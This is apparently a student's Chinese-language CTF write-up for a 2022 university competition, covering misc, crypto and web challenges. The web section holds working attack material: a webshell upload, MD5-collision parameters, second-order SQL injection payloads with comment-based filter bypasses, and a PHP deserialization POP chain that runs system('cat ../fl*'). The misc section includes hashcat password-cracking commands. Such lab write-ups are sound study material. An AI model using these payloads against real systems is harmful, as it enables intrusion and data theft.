ysoseri.us

技术内容 / 本科的一些学习笔记和wp / 2022.4.24线下赛

2022.4.24线下赛

0×01

这部分是比赛时做出来那部分题的wp

misc

不会有人没看过猫和老鼠吧

繁体汉字与中文叹号,我不过是交错了5次罢了

海伦凯勒

两张图片拖进010,文件后缀没问题,文件尾后面没东西
foremost也没分离出什么东西
看一下文件属性,发现blind比Helen的大小多几十KB
两张一样的图片,加上题目名字提示,想到星爷之前给我提过的python盲水印
github里找到blind把项目down下来,下载依赖

图片 1

matplotlib没什么问题,opencv-python比较难搞,需要下载python版本的对应版本
否则import cv2会报错找不到模块
(本来我物理机上有这个问题,但是复现的时候莫名其妙成功了,就不放报错截图了)
我虚拟机里python版本是3.9.9,对应opencv的版本是4.4.0
虚拟机直接 pip3 install opencv-python

下载下来的是4.5.0版本,但也能用
这里用pip3的原因是因为python2版本水印跑不出来

python bwmforpy3.py decode Helen.png blind.png flag.png

flag.png里就是flag

图片 2

为了防止图片又加载失败,下面加个画板放原图

图片 3

QLNU{j43kn8ty6ad3u0ecv}

问卷

痛失100分,没交flag

Crypto

路易十三

就是rot—13(回转13位,rotate by 13 places)
是一种凯撒密码的变体,rot13即凯撒密码偏移量13

web

upload

出于一种前有陈星后有徐西宏(各种意义上,包括座位)的忧虑
我开局就直奔这个题开始输出
传了几个文件上去,都是一样的回显
图片 4

(啥文件都不加,点一下上传也是这个回显)
签到题哪能有这么密不透风的过滤,于是我直接抓包,找到real_upload.php访问进去
(其实源码里就有,只不过因为它是文件上传,就下意识地忽略页面源码了)
图片 5

这个页面没有过滤,直接上传小马,然后连蚁剑即可
图片 6


0×02

这部分是比赛时没有做出来的那部分题目的复现

misc

李华的作品

从hint里能得到以下信息:

密码为9位,后五位是lihua,并且不是暴力破解

于是可以使用archpr里面带的的掩码攻击得到密码

图片 7

得到一个加密的压缩包flag.zip和一个illusion.docx
这里也可以用john+hashcat来破解
hashcat 用于撞哈希,john 中提供的一个小工具 rar2john可以将 RAR 中的密码哈希提取出来
john的下载地址放在这里https://www.openwall.com/john/
图片 8

要32位还是64位我觉得应该没人不知道吧

.\rar2john.exe "D:\luhua.zip" >>a.txt

在down下来的文件夹路径下打开cmd(zip压缩包就把rar2john.exe换成zip2john.exe)
a.txt的名字可以换成别的,名字随便起,将输出内容导入txt方便查看和复制

图片 9

选中的内容都是它的hash值
然后就可以用hashcat进行爆破
hashcat的官网地址我也放这了https://hashcat.net/hashcat/,找个最新版的下载就行

几个常用参数
● -a选择攻击方式,一般使用参数 -a 3 即掩码攻击(有规则约束的暴力穷举)
● -m选择攻击模式,针对不同的 hash 算法选择规定的值,
   参见 https://hashcat.net/wiki/doku.php?id=example_hashes
● 字符集除此之外,还可以自定义字符集,参见 Mask Attack例:?a?l?l?l?d?d?d?d 代表第一位为任意字符,第二到第四位为小写字母,后四位为数字
  ○ ?l: abcdefghijklmnopqrstuvwxyz
  ○ ?u: ABCDEFGHIJKLMNOPQRSTUVWXYZ
  ○ ?d: 0123456789
  ○ ?h: 0123456789abcdef
  ○ ?H: 0123456789ABCDEF
  ○ ?s: «space»!"#$%&'()*+,-./:;<=>?@[\]^_{|}~
  ○ ?a: ?l?u?d?s
  ○ ?b: 0x00 - 0xff
● --increment自增遍历模式(不确定密码长度的情况)
● --increment-min规定自增模式密码最短的长度
● --increment-max规定自增模式密码最长的长度

https://hashcat.net/wiki/doku.php?id=example_hashes

这里要使用到的命令如下

.\hashcat.exe -m [1] -a 3 '[2]' ?a?a?a?alihua

[1]处填写算法规定的类型值,[2]处填写哈希值
但是遇到一个问题,就是在example_hashes表里没找到提取出的hash值对应的格式类型

图片 10

这个类型参数是不具有兼容性的,所以只好作罢
illusion里没找到任何东西,结合文件名猜测压缩包为未加密
将压缩包拖进010检查,改一下deflag的数值,保存一下

图片 11

发现加密确实没有了。不用解压,直接查看文件内容
QLNU{Congratulations_to_y0u}

不知道是彩蛋还是非预期

illusion这个docx文件后缀改成zip之后居然能正常解压

图片 12

所以我猜出这题的是王昱静学姐

flag在哪呢

hint提示用hashcat
前文已经介绍过john和hashcat的用法
先拿到hash值
(不想跑命令行的也可以去在线网站,免费的,网址贴在这里
http://www.wendanghuifu.com/freetools/office2john.html

$office$*2010*100000*128*16*5647223634c295c8560247f1dc776047*6d21a23f875d645167cf7e49f9d746ab*09bce98b57312eee2ce56e744b6c42490b1d1c3e2abc3174e16d968090b39ab2

然后

.\hashcat.exe -m 9500 -a 3 '$office$*2010*100000*128*16*5647223634c295c8560247f1dc776047*6d21a23f875d645167cf7e49f9d746ab*09bce98b57312eee2ce56e744b6c42490b1d1c3e2abc3174e16d968090b39ab2' ?d?d?d?d?d?d?d?d

官方wp里是这么写的

hashcat.exe -m 9500 hash.txt -a 3 ?d?d?d?d?d?d?d?d -w 3 -O

其中hash.txt是自己创建的文件,把得到的hash值放进去跑这条命令也可
得到秘钥04131006,打开是一个巨巨巨巨巨巨大的二维码
这里直接官方wp操作复制粘贴,不明觉厉,膜拜了

图片 13

照着wp里的操作,我也缩到15✖15

图片 14

扫码得到

http://42.192.84.8/flag在哪呢.docx
下下来之后docx后缀还得改成zip,解压一下,里面找到flag在这儿.jpg
文件属性备注里就有flag
QLNU{FlogisHerehahaha}

隐藏后门

这个题看见压缩包是phpstudy,还以为是提供给那些非web手的辅助工具,就直接没看
但其实这个压缩包才是重点
看一眼注释,提示密码是windows里执行的8长度的命令
(其实8长度的命令一共就那么几个,cmd里输入help然后一个一个试就出来了)

既然说是windows命令,那肯定是利用了webshell来执行命令,去流量包里找webshell的地方

这一步的理解确实是个知识盲点
常见的webshell有phpinfo(),eval()等,就按着这个思路去找
我为了省事,先来了这么一步

tcp contains "php"

webshell在很靠后的位置,78流

图片 15

压缩包解压出来是一个2016版本的古老phpstudy
把文件夹放进ntfs里看一下

图片 16

里面是一个小马
下面是第二个知识盲点

根据提示,要找利用后门的地方,首先想到看流量包,可是用流量包全局搜索发现没有,还有一个地方可以看流量也就是web日志

有两个日志文件acces.log和error.log,肯定找请求通过的那个了(即access)
前面运行phpstudy得知使用的是apache,所以去apache文件夹里去找
直接搜6ack,找到了

图片 17

可以看到这个shell执行的是phpinfo()命令,
根据前面6ack.php里的注释,phpinfo()也就是aes的密钥
这里有个无语的地方就是;也属于传入参数的内容,密钥 phpinfo();

去解密即可拿到flag(用的是这个解密网站http://tool.chacuo.net/cryptaes,挺好用)

图片 18

web

嘉心糖的试炼

图片 19

气急败坏.jpg
以后我再也不信平台不能扫目录这种鬼话了
因为看到index.html而拿着login123.php找备份文件的我真的很狼狈
备份文件在index.php.bak
看到账号密码账号jiaran密码wuhuwuhu
登陆后看源码,有一个MD5强碰撞,撞出来就能拿到flag

图片 20

MD5碰撞可以用数组绕过,但是这里要求传参string类型
于是考虑提交两个内容不同但是md5值相同的参数

(发现maxhackbar的一个bug,此题为GET传参,但经过测试在maxhackbar里需要勾选POST才能回显flag)
payload如下

?
 qlnu=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%9
 5%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
 &
 xino=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%
 95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

这里提交url编码后的参数是为了避免一些不可见的字符
QLNU{e6dba628126941ca90c7d9da9278feaa}

twice sqli

不会做,于是从网上现搜现学,然后就陷入了一个必须要注册一个admin'#来改掉admin密码的奇怪认知
毕竟网上抄来抄去,到头来都只教了怎么改数据库里user的密码。。 是真的屑,博客不会可以不写,玩不明白的写了自己看看就行了,怎么好意思发出来

登陆后的info页面过滤很严,显而易见的是单引号的转义
去burp抓包能发现空格也被过滤掉了,但是导字典fuzz的时候惊奇地发现union select及其大小写绕过都没被过滤,比如下面这样

图片 21

长度跟360不一样的都是没被ban掉的
整理一下前面获得的信息
1.空格的过滤可以用多行注释/**/绕过
2.没有过滤union select,也就可以使用最熟悉的联合查询(就是不知道修改过滤条件之前能不能行)
3.单引号转义,正好可以体现二次注入题型的特点,也就是

在注册用户名时若没有严格的过滤,用户就可以在用户名中提前构造注入语句,而藏在用户名当中的“脏数据”会被默认为安全的数据写入数据,这样只要再次将写入数据库中的内容调用即可触发注入语句

在注册页面,用户名一栏并没有过滤单引号,于是思路明确了
每一条注入语句都要创建一个新的用户,登录新注册的用户,即完成了“二次调用”

查库oasis'/**/Union/**/Select/**/database()#

图片 22

查表oasis'/**/Union/**/Select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

图片 23

查列oasis'/**/Union/**/Select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

图片 24

爆flag oasis'/**/Union/**/Select/**/flag/**/from/**/`flag`#

这里表名不加`(反引号)也可以,只有数字表才必须加

原因是sql中有一些保留字,当你的column是它的保留字时,sql语句不加 `` 就会报错。

图片 25

intruder

a!是我心心念念的反序列化了
wtm比赛的时候缓存没刷新,打开几次都是那个嘉心糖登陆页面,还以为这题就是嘉心糖进阶
一整个蚌埠住了
好了下面进入正题
接收value的方式是GET,那直接忽略就可以了
先审一下张三李四王五赵六
张三有三个成员变量和一个invoke()方法

__invoke() 当尝试以调用函数的方式调用一个对象时触发

李四有一个destruct()方法,一个shell()方法和一个call方法,其中

__destruct() 当删除一个对象或对象操作终止的时候(对象被销毁前,即从内存中清除前)触发 __call() _call( $method, $arg_array ) 当调用一个未定义的方法时调用此方法;如果方法不存在就去父类中找这个方法;如果父类中也不存在就去调用本类的__call()方法

而_call()被调用时调用的方法显然就是那个shell()了

王五手里是一个$a变量和一个重写过的tostring()方法(重写可以理解为重新定义该方法)

__toString() 当一个类被当成字符串使用(当打印一个对象时)时触发

而赵六手里是一个变量$chk和前面提到的两个方法shell()和get_flag(),
两个方法均指向了$chk变量
接下来开始构造pop链
首先注意到lisi类里的_destruct(),那肯定就是从这里入手了
lisi还会(以字符串的形式)输出$temp,所以下一步可以考虑利用Tostring()
于是把目光给到wangwu,只需将$temp赋值为wangwu类的对象,也就是$a,即可触发tostring()
$a这边则给到了下一步的提示,即$a会执行一次shell(),于是我们可以把$a赋值成zhaoliu里的对象
那么zhaoliu里的$chk就自然而然了,shell()的意思是将$this->chk作为一个函数名执行,玩的挺花
明白($this->chk)()的意思,就很容易联想到)_invoke()方法,所以$chk的赋值给到zhangsan
里面通过test1执行一个world()方法,现在想想还有_call()没用,用法也合适
所以最后一步就是把test1赋值为lisi类,即可完成pop链构造
pop链构造完成后,注意到eval()函数,所以最终要去到zhaoliu类
利用chk调用函数来完成cat ../flag的操作
(这里选择cat ../fl*提高容错率,其实也可以不用)
说实话,自己独立构造是有点迷糊的,写出下面的payload也很有难度

<?php
class zhangsan{    
public $test1;
}
class lisi{
public $temp;
}
class wangwu{    
public $a;
}
class zhaoliu{    
public $chk;
}
$oasis = new lisi();
$oasis->temp=new wangwu();
$oasis->temp->a= new zhaoliu();
$oasis->temp->a->chk=new zhangsan();
$oasis->temp->a->chk->test1=new lisi();
$oasis->temp->a->chk->test1->temp=new zhaoliu();
$oasis->temp->a->chk->test1->temp->chk="system('cat ../fl*');";
echo serialize($oasis);

执行后即可拿到我们最终的payload

O:4:"lisi":1:{s:4:"temp";O:6:"wangwu":1:{s:1:"a";O:7:"zhaoliu":1:{s:3:"chk";O:8:"zhangsan":1:{s:5:"test1";O:4:"lisi":1:{s:4:"temp";O:7:"zhaoliu":1:{s:3:"chk";s:21:"system('cat ../fl*');";}}}}}}

于是最终传的参数
?value=O:4:"lisi":1:{s:4:"temp";O:6:"wangwu":1:{s:1:"a";O:7:"zhaoliu":1:{s:3:"chk";O:8:"zhangsan":1:{s:5:"test1";O:4:"lisi":1:{s:4:"temp";O:7:"zhaoliu":1:{s:3:"chk";s:21:"system('cat ../fl*');";}}}}}}

图片 26

最后还报了个小错,问题不大,flag到手
QLNU{7bdf8e889a7341cdb49a268458350b2e}

Crypto

r5c5

曲路密码

加密对象: 所有字符

原理

  • 该密码和栅栏密码类似,是一种移位密码
  • 秘钥就是行列数,但我感觉只需要列数就好了(可能是我理解有问题),使用行列数构成一个表格,将明文依次填入,例如:行列为6列3行, 明文为: “flag{y0u_are_p1g@}”
flag{y
0u_are
_p1g@}

然后从最后一个字符像如下方式串起来即构成了密文:}ey{r@gaga_1pulf0_

(图片上传限流了只能用一种抽象的方式来表达它的原理)

图片 27

网上很容易搜到脚本

import re

def encrypt_bend(string, col, row=10):
    ciphertext = ""
    temp = []
    for i in range(col):
        temp.append([])
    for index, i in enumerate(string):
        temp[index % col].append(i)
    re_temp = list(reversed(temp))
    for index, i in enumerate(re_temp):
        if index % 2 == 0:
            i = list(reversed(i))
        ciphertext += "".join(i)
    return ciphertext

def decrypt_bend(string, col, row=10):
    plaintext = ""
    length = len(string)
    min_row = length // col       # 最小的行数
    min_num = col - length % col  # 最小行数的列数
    # 分组
    temp = []
    index = 0
    for i in range(col):
        if i < min_num:
            temp.append(string[index:index+min_row])
            index += min_row
        else:
            temp.append(string[index:index+min_row+1])
            index += min_row + 1
    print(temp)
    # 改回列顺序
    for index, i in enumerate(temp):
        if index % 2 == 0:
            # print(re.findall(".{1}", temp[index]))
            temp[index] = "".join(list(reversed(re.findall(".{1}", temp[index]))))
    temp.reverse()
    for i in range(length):
        plaintext += temp[i % col][i // col]
    return plaintext

if __name__ == '__main__':
    col_ = 7
    row_ = 5
    ciphertext_ = encrypt_bend("}_2s{cihpUemljNfs3_Lhs43Q", col_, row_)
    plaintext_ = decrypt_bend(ciphertext_, col_, row_)
    print(f"{plaintext_} : {ciphertext_}")

天线宝宝

好习惯之先看图片属性

图片 28

下载下来发现文件格式打不开 放到010中查看发现文件头多了10,删除10

图片 29

(此处的10会在后面用到)

这一步是我没想到的

图片有点鬼畜我不想放了,红红绿绿的

大胆猜测红色的是0绿色的是1,然后把01值手抄下来

10101001
11000011
00110101
10001011
01100101
10001111
00110110
00100101
11100100
01110001
01000001
10011010
00101111

发现八个一组,那么数电人一眼就看出来是16进制

不会写脚本,在线工具来一手

图片 30

拿到十六进制去空格a9c3358b658f3625e471419a2f

这时候前面的备注提示就派上用场了

知不知道10这个提示其实影响不大,一位一位试就行了

拿到flag套上QLNU

QLNU{q9s3358r658v3625u471419q2v}